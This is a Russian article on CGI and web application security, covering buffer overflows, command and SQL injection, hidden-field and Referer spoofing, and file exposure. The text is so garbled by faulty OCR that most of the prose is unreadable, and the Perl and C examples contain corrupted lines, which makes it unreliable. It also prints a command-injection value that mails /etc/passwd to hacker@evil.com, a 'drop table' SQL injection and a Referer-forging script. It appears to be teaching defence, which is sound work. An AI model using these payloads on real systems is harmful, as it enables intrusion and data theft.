Be3onacnocme Cepeepnbix Web-npunosicenui

VYcranaBnuBas nmocienHio Bepcuto Web-cepsepa, Mbl MOkeM OBITh yBEPEHBI XOTS ObI B TOM, UTO OHA HE
COJICPKUT OUEBHIHBIX OIIMOOK, OMMyOIMKOBaHHEBIX Mo Beel CeTn mapy jeT Tomy Hazaa. Ha nmosiBinenue
HOBBIX OIIMOOK MTPOU3BOANUTENH PEATHPYIOT JOCTATOUYHO OBICTPO, a 3aJa4a aAMUHUCTPATOPa CBOAUTCS K
TOMY, 4TOOBI OBITH B Kypce npoucxosiero. C cepBepHBIME MPHUIOKEHUSIMHA CUTYAIUs] HECKOJIBKO WHAs —
Ha ceil pa3 B poiiu pa3paboTunKa 3a4acTylo BBICTYNAIOT BIaJeNblbl CAHTOB, KOTOPBIE TOJKHBI CAMH
3a00TUTHCS 0 6E€30MAaCHOCTH MPUIIOKeHUH. He cTouT 0c000 J0BEPATH U TOTOBBIM CKPUIITAM — OTPOMHOE
KOJIMYECTBO OIMIMOOK OOHAPYKUBACTCSI HMEHHO B IIPUMEpax, mocrabisieMbix BMecte ¢ Web-cepsepamu, a
TaK)Ke BO MHOTHX MOIMYJISIPHBIX CKPHUIITAX.

OwmuOKkH B cepBepHBIX WED-TIpHriioxKeHnsIX KOBapHbBI, OT HUX HEJb3s 3aIUTHTHCS YCTAHOBKOH MEKCETEBOTO
9KpaHa, MOCKOJIbKY aTaka ¢ X UCIOJIb30BaHUEM MPOU3BOIUTCS HA YPOBHE Pa3pelIeHHOTO MPOTOKOIIA
HTTP, u naxxe ucronp3oBaHue TOPOTOCTOSIIEH CHCTEMBI OOHAPYKEHHSI aTaK Ha MPUKIATHOM YPOBHE MaJo
YeM [TOMOXKET B IPEJOTBPAILCHIH aTaKu Ha CAMOCTOSTEIbHO HATMCAHHOE KOPIIOPaTUBHOE MPUIIOKECHHE.
YcnenHo xe npoBeaeHHAas MoI00HAs aTaka BIIOJIHE MOXKET OKa3aThCs TIEPBBIM [IATOM HA IYTH KO B3JIOMY
BCEIl KOPIOPATUBHOM CETH.

[TpakTHyecku Bce OeIbl HAYMHAIOMUX TPOTPAMMUICTOB IPOUCTEKAIOT U3 HANEKABI Ha TO, YTO TOJIH30BATEIh
OyneT ceOst BECTH «XOPOIIO» U 00paliaThes ¢ MPOrpaMMoOii UMEHHO TaK, KaK 3aJlyMaHO aBTOpPOM. JTO
cripaBeZnInBO He Toabko st CGl-mpunokennid, HO ¥ 715 IF000TO IPOrpaMMHOTO 00ecIiedeH s, OJHAKO
KOTJIa aBTOP MHOTOYMCIICHHBIX YTHIIUT «JJIs1 Ce0s» pelraetT nonpoOooBaTh CBOU CHIIBI B IPOTPAMMUPOBAHUT
JUTSL CEPBEPOB, OH HEMEIJICHHO TIOMaAaeT B APYTYIO0 BECOBYIO KaTeropui. EMy MOXKeT Ka3aThbCsl, YTO OH
MPOJIOJDKACT MUCATh «JIs ceOs1», B NEHCTBUTEIBHOCTH K€ €r0 MOTCHI[HALHBIMU TOJIH30BAT EIISIMH
CTaHOBSATCS BCE OOUTATENIN CETH, a YK OT HUX JKAAaTh CHUCXOXKJCHUS He mpuxoautcs. U He ctout
ycrnokanBath ce0st TeM, 4To CGI-puiioskeHus BBIOTHSIIOTCS B KOHTEKCTE MOJIb30BaTENs ¢ MUHUMaJbHBIMA
MpaBaMy — JaXXe B XOPOIIO CKOH(OUTYPHUPOBAHHOM CUCTEME STHX MPaB 3a4acTylO JOCTATOYHO ISl BEIAYH
UHpOpMAIMH, KOTOPOH MOXKHO BOCITOJIb30BAThCS MPU B3JIOME CHCTEMBI.

[TosToMy 0COOEHHO BaXKHO C CAMOT'0 Hayalla YeTKO MPEICTaBIITh, KAKHE MOJ{BOIHBIC KAMHU OX HJAI0T
CGl-mmporpamMmmucTa, 9To0bI M0 BO3MOXXHOCTH H30€KaTh TOPHKOTO OMBITa 00y4eHHUs! Ha COOCTBEHHBIX
OIHOKaXx.

Heckomnbko ciioB 0 BeIOOpe cpeacTB pazpadotku. Kommumpyewmsie s3b1kn, Takue kak C/C++, numeror
HEKOTOPOE MPEUMYIIECTBO B TOM CMBICIIE, YTO Ha CEpBEPE OTCYTCTBYET UCXOAHBIN KO/ TP MIIOKEHUS, & 3TO
CWJIBHO 3aTPyHSET BO3MOXKHOCTH €TI0 UCCIIEIOBAHUS — B OTIIMYHME OT MHTEPIPETUPYEMBbIX a3bIKOB (Perl,
PHP, ASP u T.11.). B mTaTHBIX yCIOBHUAX KOJI IOCIEAHUX TAaKXKe HEAOCTYIIEH, HO YaCTO €CTh BO3MOXKHOCTh
n00paThest 10 HETO, UCTIONB3Ys KaKHe-TO OMIMOKY cepBepa WiIH MPOCTO HAXO/Isi COXPAHEHHYIO PE3EPBHYIO
konuto. C Ipyroit cTOpOHbI, HCXOJHBIE TEKCTHI monyIspHbix CGI-npuiioxkeHnit u Tak J0CTAaTOYHO
pacrnpocTpaHeHbl B CETH, KPOME TOTO, TOT ke Perl nMeeT BCTpOSHHbIE MEXaHU3MbI 00CCIICUCHHS
0€30macHOCTH BBHITIONHSAEMBIX CKPUIITOB, TAK YTO HEIB3sI allpUOPH YTBEPIKIATh, 4TO mporpamma Ha C Oyner
Oe3omacHeil ananornyHoi porpammel Ha Perl. Bee nanbHelinme paccyxaeHus Mo 0obIIel 4acTu
MPUMEHUMBI KaK K KOMITWJINPYEMBIM, TaK ¥ K HHTEPIPETUPYEMbIM MTPOrpaMMaM.

B nanHOM pasnene nepedrcieHbl OCHOBHBIE MOMEHTHI, HA KOTOPBIE CcenyT 00paiiaTh BHUIMAaHUE B IIEPBYIO
ouepe/ib NP pa3paboTke U ayaute Web-npunoxeHuii. Pazymeercs, B Ka)10M KOHKPETHOM CJTy4ae MOTYT
BO3HUKATH M JIpyrHe NpoOJIeMHbBIE CUTYalliH, OCHOBaHHBIE, HATIPUMED, Ha JIOTHKE paboThl JAHHOTO CKPUTITA.

Ilepenonnenue oygepa.

[pumenmas xk Ham u3 70-X rojJ10B, O0Jee BCEro 3Ta OMuoOKa XxapakTepHa, KOHEYHO, JJIs IPOTPaMMHUCTOB Ha
C/C++. IIporpammucty Ha Perl niu Java 00bIYHO HET HEOOXOIUMOCTH 3a00TUTHCS O PYYHOM BbIICICHUU
NaMSTH MOl CTPOKH, HO | 3/1eCh TOIY4YE€HHAsl CTPOKA MOXKET OBITh Mepe/iaHa Janblie, BHEIITHEMY
npuIIoKeHuto 1100 Sql-cepBepy, Tak 4TO 3a0bIBATH O KOHTPOJIE JUIsI JUTMHON CTPOK HE CTOMT.

Hanpumep, /Ui onydeHus JaHHBIX, IepeaanHbix MeTo oM POST, MOKHO HammucaTh eIy OIINN KO
char buff [4096];

int length = atoi(getenv(“CONTENT LENGTH"));

fread(buff, 1, length, stdin);

Bosmoxxnoe nepenonnenue Oydepa Hanuo. CopaBUTECS € 3TOH MPoOIEeMON OYEHb JIETKO — AOCTATOYHO
JUHAMHYECKH BBIIACTUTH Oydep TpeOyeMoil JIUHBL:

int length = atoi(getenv(“CONTENT LENGTH"));

char* buff = new char[length];

if(buff) fread(buff, 1, length, stdin);



IToTeHMaNBHO OMMACHBI MHOTHUE CTPOKOBBIC (DYHKITHH, ONIPEICISIONINE KOHEIl CTPOKH TI0 3aBE PIIAIOIIEMY
Hymo. [ToaToMy BMecTo (QyHKIMIA strepy, strcat, stremp U T. 1. HACTOSTEIFHO PEKOMEHIYETCS HCIIONb30BaTh
WX aHAJIOTHU Strncpy, strncat, strncmp, MO3BOJISIONINE YKa3aTh MAaKCUMAaIbHOE KOJIHUECTBO 00padaThIBAEMbIX
CHUMBOJIOB.

Kazasnoch ObI, MOXHO OTPaHUYHTh 00HEM BBOJMMOMN HH)OPMAIIUN YKa3aHUEM COOTBETCTBYIOIIUX
napaMeTpoB B Tarax (OpMbI, HO 3TO €Ile OJJHO OYSHb OMAcHOE 320y IeHUE, KOTOPOTO MBI KOCHEMCSI 4y Th
TO3XKe.

Bo3Mo0XHO, IMEHHO M3-32 HEOOXOAMMOCTH MTOCTOSIHHO KOHTPOJIMPOBATh pasmep Oydepa, MHOTHE
HaupHaromue (1 He Toabko) CGI-nporpamMmMucTtsl ipeanounTaroT Perl.

Ilepeoaua neghunompoeannozo noibv306amenbCcKo2o 66004 6HEUIHUM
RPUNIONHCEHUAM U PYHKUUAM RO padome ¢ aiiramu.

MoskeT NpUBECTH K YTCHHUIO JTHO0 3amucu B (ailiibl, HAXOAAIIMEeCs BHE AepeBa JOKyMEHTOB WWW-cepBepa
(eciu MOJIB30BATEIBCKHIA BBOJI COACPKUT HeuTo Bpoze ../../../my/secret/file), u comepkaiue KpUTHIHYTO
UH()OPMAIIHIO, HATIPHUMED, MOJIH30BATEILCKHE TTAPOIIH.

Kpome Toro, npu 3T0M BIIOJIHE MOKET OBITh HCIIOJIb30BaHA KaKas-HUOYb HEIOKYMEHTHPOBAHHAS KOMaH/Ia
WK JTIOK, TI03BOJISIFOIINE BBIMIOJIHUTD KO/l OT MMEHH MPUBUIICTHPOBAHHOTO MOJIH30BATEIS.

Mo/ moB30BaTEILCKAM BBOJIOM IMOHUMAETCS Kak HH(POPMAIIUS, OTyIEeHHAsI HEIIOCPEJACTBCHHO U3 MOJIeH
BBoza html-opmel, Tak 1 u3 cookie, u naxe u3 coOOCTBEHHO 0a3bl NaHHBIX (KTO 3HACT, HACKOJIBKO
HaJIe)KHO OCYIIECTBIISUICS OTCEB MOJIb30BATEILCKOTO BBOIA MApy JET Ha3a/, KOraa 3amoHsuiach 9Ta 06asa).
st ASP 5TO OTHOCHTCS TaKXKe U K CECCHOHHBIM TIEPEMEHHBIM, SBJISIFOIUMUCS 110 CYTH JIejIa TEMH JKe
cooke.

Bui306 énewnux npuﬂoofcenuﬁ C UCNOIb30BAHUECM KOMAHOHOIU 000/10UKU.

DTO YacCTHBIN U BecbMa NOMYJISPHBIN Clydaid pacCCMOTPEHHOM paHee IMepeaadn Moab30BaTeNbCKOIO BBO 1A
BHCIIHUM ITPUITOKCHUAM. Ecmu B IMpo1EeCcCe BbI3OBA BHEIITHEH ImporpamMmaI 6YI[GT y4aCTBOBaTbh KOMaHJHAaA
00011049Ka, TO, MOXHO BOCIIOJIB30BaThLCS €€ YIPABISIIOIIMMH CHMBOJIAMH, TIEPE/IaB B MOJIB30BATEIECKOM
BBOJIC €€ KOMaH/Ibl, CKOMOMHUPOBAHHbIE C CUMBOJIaMH-pa3aenuTensiMu. T.e. pakTHuecKr BHIIIOJIHUTE HA
cepBepe T00yI0 KOMaH/Ty.

Y C++ ¢ 3Tol TOUKH 3peHus TOTEHIMATFHO OMACHBI (GYHKIIUH popen U system (MpUdeM BMECTO TIOCIIeTHEH
4acTO MOXHO 06€300JIe3HEHHO BOCTIONB30BaThCA exec min spawn), y Perl npobnemubiMu sBisitoTest GyHKINN
system u exec, open ¢ IepeHanpaseHUeM BbIBOJIA (aHAIOrMYHast popen), pyHKus eval, a Takxe oOpaTHas
KaBbIuKa « ». AHaJIOrnuHble PyHKIMU KCIOIB3YyIOTCs B Php, B ASP ke mpsiMoii aHamor oTCyTCTBYeT —
¢ynkuus CreateObject, coznaromasi 00beKT aBTOMATH3ALUH U B TOM YHCIIE CITy’Kall[ast /sl BhI30Ba BHELTHUX
NPUIIOKEHUH, N30aBiieHa OT HelocTaTKa (DyHKIHMH, UCTIONB3YIOUINX KOMaHIHYIO 000JI0UKY.

Camu 1o cebe nepedrcieHnble PyHKINU T0CTaTOYHO O€30MacHBI, M, €CIIH CKPHUIT MIPOCTO BHI3BIBAET HEKYIO
BHENIHIOK MPOrpaMMy, HUKaKo# 0eabl B 3ToM HeT. CII0)KHOCTH BO3HUKAIOT, KOT/1a CKPHIIT NiepeiaeT
BHEIIHEH IporpaMMe B KauecTBe MapaMeTpa HeKyro HH(opMaluio, BBEACHHYIO M0JIb30BaTEIEM: aJIpec,
co001IaeMbIi TporpaMMe 3JEKTPOHHON HOYTHI, BBI30B grep U3 MOMCKOBOM CUCTEMBI H T. 1.

OueBuAHBIN TPUMEP — OTIIPABJICHHE [TMCHMA T10 aJIpecy, YKa3aHHOMY IOJIh30BaTeNeM (HalpuMep, B
KayecTBE MOATBEPKACHUS KaKOro-TO 3arpoca H T. 11.):

#1/usr/bin/perl

use CGI gw(:standard);

$query = new CGl;

$mailprog="| /usr/sbin/sendmail’;

$address= $query->param(’address’);

$from="webmaster@somehost’;

open (MAIL,"$mailprog $address");

print MAIL "From: $from\nSubject: Confirmation\n\n";

print MAIL "Your request was successfully received\n®;

close MAIL;

Teneps MPEAMONOKNAM, YTO MOJB30BATENb BBEN CACAYIOMNI 00paTHBIN anpec: hacker@evil.com;mail
hacker@evil.com </etc/passwd;

B pe3yJIbTaTe 4ero BHIMOIHUTCA KoMana /usr/sbin/sendmail hacker@evil.com;mail hacker@evil.com
</etc/passwd; — SBHO HE TO, YTO MBI OXKHIANIH.



ITpu ucnonwzoBanuu sendmail H30aBUTHCS OT OMIUOKH OYCHB JIETKO — IOCTATOYHO MPUMEHUTH KIIFOY «—t»,
3anpenlarouui UCIOIL30BaTh aJpec, Nepe/laHHbIi B KOMaHIHON CTPOKE, U Mepe/laTh €ro B 3arojoBKe
MUchMa:

$mailprog='| /usr/shin/sendmail -t';
open (MAIL,"$mailprog ");
print MAIL "To: $address\nFrom: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n™;
received\n';
close MAIL;
Ecnu ke HuKak He yaaeTcAa H30aBUTHCS OT H606XOILI/IMOCTI/I nepeaavuun mojab30BaTCIIbCKOTO BBOJA 060J'IO‘1K€,
OCTaCTCA (I)I/IJ'ILTpOBaTB B HEM BCC CIICHUAJIbHBIC CUMBOJIEI. ITHX CUMBOJIOB JOBOJIBHO MHOT'O:
<>|&; T\ *$2~N)[]{Hn\r.
KpOMe TOr0, IMpU BBI3ZOBC CUCTEMHBIX (1)YHKIII/II71 0co000 OCTOPOKHO CTOUT pa6OTaTI) C «HYJICBBIM» CUMBOJIOM
—\0. [leso B TOM, 4TO [UIsi CHCTEMHBIX (DYHKI[HiA, HAMTHCAHHBIX, KaK paBuiio, Ha C, HyJIeBOW CHMBOJI
SIBJISIETCS TIPU3HAKOM KOHIIa CTpokH. J[ist Perl ske HylieBOi CHMBOJI BITIOJIHE MOKET OKAa3aThCsl 4aCThIO
cTpoku. B urore crpoka, KoTopas mpoBepsiercs perl-ckpunrtom, u nepenaercs Takoit QyHKIIUU, MOKET
OKa3aThCSl COBCEM HE MOXO0XKEH Ha TO, YTO MONYYUT QPYHKLHSI.
Camoe pocToe, YTO MOXKHO CHENIaTh, — YAAIUTh BCE CIIELICUMBOJIBI U3 BBEICHHOW CTPOKH C IOMOILLBIO
KOHCTPYKIIUU IPUMEPHO TAKOI'0 BUJA:
$Smetasymbols = "] [<>\]&; "\"*\$\2~\"() {}\n\z";
$string =~ s/[Smetasymbols\\]//g;
[Tomumo 3TOTO MOCTapaiiTech rapaHTHPOBATH COOTBETCTBHE BBOJIA IPEyCMOTPEHHOMY Ia0ioHy. Craxem,
JUTSL TOTO K€ TIOYTOBOTO aJpeca 3TUM 1abIoOHOM MOXeT ObITh Name@domainl.domain2, 4ro yarie Bcero
nenaercst Ha Perl cnegyronmm o6pazom:
die "Wrong address" if ($address !~ /MN\w[\W\-. ]X\@[\W\-.]+$/);
3/1ech B HaYasie W B KOHIIE CTPOKH OXKHUAAETCS OJMH WM HECKOIBKO CUMBOJOB a-Z, A-Z, 0-9, «-», «.» 1 «@»
BHYTPH, MIPHUUEM «-» WIIH «.» HE MOTYT ObITh IepBbIMU. [IpaBia, 3T0 HE CIUIIKOM ITOMOTAET IPOTUB aTak,
HO)Z[OGHLIX HpHBeHeHHOﬁ BBIIIC, JOCTATOYHO 3aBCPIIUTL HAIl IICEBAO0AIPEC T-IeM-HI/I6y,ZlI) TUIIA
:@somewhere.ru.
Ecnu xe Y BaC HET KCJIaHUs (I)I/IJ'IBTPOBaTB CIICIICMMBOJIbI, MOKHO HCIIOJIb30BATh L[perfI BapHUaHT BbI30OBa
GbyHKIIMI system U exec, O3BOJISIONINI epeaaTh HE OJMH apryMEHT, a CIIMCOK apryMeHTOB. B aToM ciyuae
Perl He nepenaeT CIMCOK apryMeHTOB B 000JI0UKY, a paCCMaTPUBAET MEPBBIN apryMEHT KaK MOJJICKAIILY IO
BBIIIOJIHCHHUIO KOMAaHAY, U OCTAJIbHBIC ApTYMCHTHI — KaK MapaMeTpPhbL STOU KOMaH/BbI. HpI/I‘ICM 0OBIYHAas JJIA
O6OHO‘IKI/I HUHTEpHpeTaAlus CIICIICMMBOJIOB HC IMTPOU3BOAUTCA:
BMecTo System "grep $pattern $files"; ucnonszosars system "grep", "$pattern”, "$files";.
OTHUM K€ CBOUCTBOM MO>KHO BOCHOJIb30BATLCS PRI | 0€e3011acHOTO NepCHAIIPaBJICHHOT'O BBO,Z[a/BHBOI[a. HpI/I
3TOM HaM HOHa,I[O6I/ITC$I 3HAHHUEC TOTI'O (1)aI<Ta, YTO IIPpHU OTKPBITUHN C IEPCHAIIPABICHHUEM BbIBOAA KOMAH/BIL «-»
MBI HESIBHO BbI3biBaeM fork, co3maBas TeM caMbIM KOIHIO HAIETO mpoliecca. B Takoit cutyanun GyHKIus
ope€n BO3BpaliacT 0 I AOYCPHETO MMpouecca u pld AOYCPHETO MMpouecca jid poaAUuTCILCKOro, 4To
MO3BOJISCT MPUMCHATH OIICPATOP Or:
open (MAIL, "|-") or exec $mailprog, $address;

#open B pOAUTEIILCKOM IMPOIIECCE BO3BpAIlaeT HEHYJIEBOE 3HAUCHHUE,

# 1 HeT
#He00X0TMMOCTH BBITIOIHSATE IIPABYIO CTOPOHY or. JlouepHuUil e mpoIecc
#BLITIOJTHAET €X€C, MOCJIC YCT0 3aBCpHIACTCH.
print MAIL "From: $from\nSubject: Confirmation\n\n";
print MAIL ™Y our request was successfully received\n™;
close MAIL;

Ilepeoaua negpunomposannozo esooa SQL-cepaepy.

Eme ognH yacTHBIN cayvail epenadn He()UIbTPOBAHHOTO TIOJIb30BATEIBCKOTO BBOIA, 3aCITyKHBAIOIIMIA
OT/EIBHOTO yIIOMHHAHHS. VCIob30BaHNE aHAIOTHYCHO TPEIBIAYIIEMY MIYHKTY — BCTaBKa B 3a1pOC
CHUMBOJIOB-pa3ieuTelieil (Kak MpaBuiio, «;») B COYETAHUU ¢ KOMaHIaMH cepBepa (€XeC — I BhI30Ba
BCTPOEHHBIX mporeayp, drop table mis ynanenus TaGmuip! 1 T.11.).

Ipocreimuii mpumep — 3anpoc Buzaa select * from userbase where name="$name’, rae $name coxepkur
OJIb30BaTENbCKUI BBOA. Eciu BBeIeHO HEUTO Bpoje «anyname’;drop table ‘userbase», mamr 3ampoc
npeoOpa3uTcs B



select * from userbase where name="anyname’;drop table ‘userbase’.

bopoTkcs ¢ qaHHBIMHU OMIMOKAaMH JOBOJIFHO JIETKO — ISl CTPOKOBBIX MOJIEH JOCTATOYHO MTPOBEPATH HANNIHE
OJTMHOYHOW KaBBIYKH B MOJIb30BAaTEILCKOM BBOJIC M 3aMEHA e¢ Ha JBe KaBbIuku (B Perl atoro addekra serko
nobuthes ucnonszoBanueM ¢yukuauu DBI::quote), mis ducnoBeix — HEOOX0AUMO yOAUTHCS, YTO BBOJ
IPEeACTAaBIAET CO00H MMEHHO YuCo (mpocTeimuii cmocod mobuthes aroro B Perl — mo6aBuTh K
noJTy4eHHOMY 3HaueHwHo 0).

Pacuem na 0npe@e./'leHHbl€ 3HAYEeHUA cneyualbHblX REPEMEHHbBIX

K nmpumepy, Ha 3Hauenmne nepemennoit PATH mpu Bei3oBe BHEMIHUX TporpaMM. Hapymurens MoxeT
MOTIBITATHCS U3MEHHUTH €€ 3HaYeHUe TaK, 9TOOBI OHA yKa3bIBalia Ha MPOTPaMMYy, KOTOPYIO OH XOUYeT
MOJICTABUTH JJISl BBIMIOJTHCHUS BAIIUM CIIEHAPHEM BMECTO OKHjiaeMoit Bamu. ClieoBaTeIbHO, HEO00 XOAMMO
00 yKa3bIBaTh MOJHBIH ITyTh A0 UCTIOTHSIEMOMN POTPaMMBI, THOO yCTaHABINBAThH €€ 3HAUCHHE JI0 TIEPBOTO
ucronb3oBanus. [Ipudaem e pekomenayercs nmomemars B PATH texymuii myTs (1aHHOE TIpaBmITo, K
COXKaJICHUIO, UTHOPHUPYETCs BO BceX Windows-cucTeMaX, HAUMHAIOIIMX TTOUCK 3aITyCKaeMO# IpoTrpaMMBI
MMEHHO C TEKYIIETO KaTajiora).

Bb1600 uzovimounoii ungpopmayuu.

Hanpumep, npu Beigave coobmeHuii 00 ommnodkax. YacTeHbKO 37€Ch MOKHO MOTYYUTh HH(OPMAIIHIO O
KaTajaorax, B KOTOPBIX PacOiI0XKEeHbBI MPUIIOKEHUS JINO0 UX Moynu. HepazyMHO Takke BbIJaBaTh
COOOIIEHNS TUTA «UACHTU(PHUKATOP MOIB30BATEINS JOJDKEH COCTOSNTH U3 8 YHCEll, CrPYNITUPOBAHHBIX B 2
TPYIIIbI, pa3aeicHHbIE TehUCOM.

ABTOpaM aHaNU3aTOPOB CTATHCTUKH, IPOTrpaMM aIMHHUCTPUPOBaHUS GOPYMOB, YaTOB U T.II.,
MOKa3bIBAIOLIMX IP-aIpec KIUEHTA, a[jpec CTPAHUIIBI, C KOTOPOH OH MPHIIEN, U MPOUYYI0 CIYKEOHYIO
nH(OpPMAIIHIO, HE CTOUT 3a0MBaTh O TOM, YTO, B OTJIMYHE OT nepeMeHHon okpyxeHuss REMOTE_ADDR,
nepemennsle HTTP_REFERER u HTTP_X_FORWARDED_FOR ¢hopMupyroTcst KITHEHTOM JH00 MPOKCH,
KOTOpBIE MOTYT ITOJICTaBUTH TyJa HE TOJIIBKO «IIPABHIBHYIO» HHPOPMALIUIO, HO U JIF000i1 TekcT. [lonsaTHO, K
4eMy MOXKET NPUBECTH HOsBICHUE ocTopoHHero html-kona Ha cTpanulle agMuUHECTpaTOpA.

Pacuem na 3nauenus, 3a0anHwvle 8 NOaAAX Popmol

A UMEHHO, YTO OTpaHWYEeHUS Ha JJIMHY T0JIeH BBOAA M 3HAUEHUS CIPSATAHHBIX M0JIeH He OyAyT HUKEM
MOIU(PUIUPOBaHbI. B 1eHCTBUTEIBLHOCTH K€ HUKTO HE MOXKET IIOMEIIATh MOIb30BATENIO MOACMOTPETh
3HAYEHHUS CKPBITHIX MOJIEH B MICXOTHOM KOJE CTPaHHIIbl, CKOMUPOBATh CTPAHMILY Ha CBOM JIUCK, CIerKa
MOJIU(PUITUPOBATH 10 CBOEMY YCMOTPEHUIO U IPOBEPUTH CKPUNT HA TIPOYHOCTD.

[lepBeIM OaphepoM Ha 3TOM ITyTH OOBIYHO CIYXKUT MpoBepka nepemennoit okpyxennss HTTP. REFERER,
xpansiiieid URL crpanuipl, ¢ kotopoi 661t Bei3BaH ckpunT. Eciu HTTP_REFERER ykassiBaeT Ha aapec,
HE UMEIOIUI HIYero oOIIero ¢ aipecoM Halllero caiTa, MOXKHO CMEJI0 HTHOPHPOBATH ATOT BBI30B,
paccMarpuBasi €ro Kak aTaxy.

Ucnonb3oBats HTTP_REFERER 3¢ dexktuBHO B 60pHOE cO criaMmMepamu, 3aC OPSIFOIIIMME TOCTEBbIE KHHTH,
JIOCKH 00BsiBNICHHH U T.11. KOHEYHO, B OOJILIIMHCTBE CITy4aeB IOMOTaeT OJIOKUPOBKA COOTBETCTBYIOMIETO
IP-anpeca, coueraromasics ¢ ycTaHOBKOU cookie, 0JIHaKO Oojiee HACTOHYMBEIN MMOJIb30BATENb MOKET
NoJAroToBUTH html-kox ¢ ¢popMoOH, BEI3BIBAIOIIEH Balll CKPUIT FOCTEBOM KHUTH, U TIapy CTPOK Ha JavaScript,
ABTOMATHYECKH OTIPABIISIIONUX 3Ty (GOopMY, TIOCIIE Yero pazMecTUTh html-KoJ| B 4yKHUX FOCTEBBIX KHUTAX,
pazocnarts ero no TenekoHpepenuuam u T.11. [Ipu orcyrcTBun nposepku Ha HTTP_REFERER neckonsko
BECENBIX JHEHN BaM rapaHTHPOBAHO.

K coxanenuro, He Bce Tak xopoio u ¢ npoepkoil. [lepemennas HTTP_REFERER nonydaer cBoe
3HaueHue u3 http-3aronoska Referer, nepenaBaemoro kinrenToM. Eciiu B poiiu KIIMEHTa BHICTYIIAET
0OBIUHBIN Opay3ep, 3TOT 3aroJI0OBOK JEHCTBUTENBHO 3aM0IHIETCS TaK, Kak Mbl U nipeanoaraii. Ho
npobiemMa B TOM, YTO HUKTO HE MOMEIIAeT BOCIOIb30BAThCA KIIMEHTOM, BEAYIIUM ce0sl MeHee
J0OPOCOBECTHO, K MPUMEPY, BOT TAKMM CKPUIITOM, MOJ/ICIbIBAIONIMM 3aroioBok Referer:

#/usr/bin/perl -w

use Socket;

$proto = getprotobyname('tcp’);

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

$port = 80;

$host = "www.victim.com";

$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);



send Socket_Handle,"GET /cgi-bin/env.cgi?".
"paraml=vall&param2=val2 HTTP/1.0\n",0;
send Socket_Handle,"Referer: any referer you wish\n",0;
send Socket_Handle,"User-Agent: my agent\n",0;
send Socket_Handle,"\n",0;
while (<Socket_Handle>)

{ .
print;

close (Socket_Handle);

B Hamem ciyyae uMUTHpYETCS OTIpaBieHre JaHHbIX popMbl MeTogoM GET, HO Ans uMHUTaMK METO A
POST, xak MBI TOMHHUM, TOKE HET CEPHE3HBIX MPEeNATCTBHH. C TOUKH 3peHHs 6€30TIaCHOCTH ATH METOIBI
NpUMEpHO paBHO3HauHBL. HexoTopoe npeanourenue moxxkHo otnate POST, nockoneky GET nepenaer Bcio
uHpopmarnuio HenocpeacteHHo B URL, uTo nemaer ee 6onee nocTymHol ais nepexsara. [IpencraBum
CUTYaIHIo, KorJa HeKoTopas ¢popma TpeOyeT BBOIa MMEHHU U mapous u repenaet ux merogom GET. [lanee
TUHAMAYEeCKH (POPMHPYETCS CTpaHUIla, HMEIOIast CChUIKY Ha ApyToi cepBep. Ecnu mocerurtens yiaeT mo
9TO# cchuike, TO B kKauecTBe Referer B 10g-daiin cepBepa Oyxaer 3anucan Tot cambiii URL, B kKoTOpOM
OTKPBITO MPOMUCAHBI UMS MOJIB30BaTeNs U ero napoib. Onsate ke GET nerue nmogmaeTcss UMUATAIINHN — JJIS
ero MOJAJIEIKN HeoO3aTeIbHO KOMUPOBAaTh U MOAU(PHUIIPOBATH KO (OPMEI, TOCTATOYHO HAOPAThH B
aspecHoi cTpoke Opaysepa mogxonsmuii URL.

Haubonee apdexTrBHbIH ctocob 60ps0bI ¢ moaaenkoi hidden-mosei — mepenaya B OTAEIBHOM IOJIE UX
KOHTPOJBHOW CYMMBI B 3alIM()POBAHHOM BHUJIE€, BO3MOXHO, B COUETaHUHU C TIOTHBIM MU(POBAHUEM BCEX
3HAYCHU.

Xpanenue KpumuuHoi uHopmayuu 6 OMKPLIMBIX 071 Oocmyna gaiiiax

Mo>kHO, KOHEUHO, yTeaTh ceOsl MBICIIBIO, UYTO afpeca (aiiioB emie Hajo ONpeaesIuTh, HO B JIIOOOM cCiiydae
3TO PELICHHE CUUTACTCS HEYJaYHbIM: BCETAa €CTh AHC, YTO M3-3a IUNI0X0H KOH(DUTYypaluy cepBepa CTaHET
BO3MOKHBIM IPOCMOTp CIUCKa (aiyioB B Karajore U Haima HHQopmanus OyAeT BhICcTaBlIeHa Ha BceoOlee
0003peHue; HeNb3s HCKITI0YaTh BO3MOKHOCTh PaCIPOCTPAHEHUS HALIIETO CKPUIITa — OH 3aBOIOET
HOMYJIAPHOCTh, €0 UCXOAHBIE TEKCTHI CTAHYT IOCTYITHBIMU IO BCEH CETH, K MECTOPACIIONIOKEHNE
CEKPETHHIX (haiJIOB OMATH-TAKH MTEPECTAHET OBITH TAWHOM.

M CTOYHMKOM yTeueK MOTYT CiIyKuTbh BKitouaembie daiiel (.INC B ASP, .PL B Perl’e), yacto e
SBIISIIOLIMECS NCTIOIHIEMbBIMH CaMU 110 ce0e U OTHaloIIecs BeO-cepBepOM B BUJIE€ IPOCTOIO TEKCTOBOTO
¢ariina.

[Toatomy aitsibl ¢ kpuTHYHOM MH(DOPMAIIUEH KeTaTeIbHO paciioyiaraTh B MECTaX, M0 BO3MOXKHOCTH
BBIHECEHHBIX 3a Tpe/eibl JepeBa karanoroB Web-cepsepa, Wit X0Tst Obl 3aIIUIICHHBIX OT YTCHHS
(Hampumep, IpH UCIIOJIB30BaHUN Apache 3TOro MOKHO JOOUTHCS, Pa3MECTHB B 3aLIUIIAEMOM KaTajore
¢aiin .htaccess co crpokoii deny all BHyTpH).

Hepedatm web-kruenmam Hed)qume)OG(lHHOZO noONB308aMEIbCKO20 66004

Hctounnk MHOTHX MPOOJIEM /Il CAHTOB ¢ YCTAHOBIIEHHBIMH T'OCTEBBIMH KHUTaMU (WIJIH aHAJ OTMYHBIMHU
ckpuntamn) — html-Taru. Pasperims noibp30BaTe0 BBOI TATOB, BBl TEM CaMbIM ITPOBOIUPYETE aTaKy U Ha
JIpYTUX MONb30BaTeNel, 1 Ha cepep. [locneanee BO3MOXKHO B Cilydae, €Clid cepBep CKOHPHUTypHUpPOBaH
TakuM 00pa3om, 4To (aiiiibl, co3aBaeMblie CKpUIITOM, AOMYyCKatoT ucnonb3oBanue SSI (Server Side
Includes — nupexTUBBI BKITIOYCHHUS Ha CTOPOHE cepBepa). SSI mo3BostoT BcTaBuTh B html-10KymMeHT
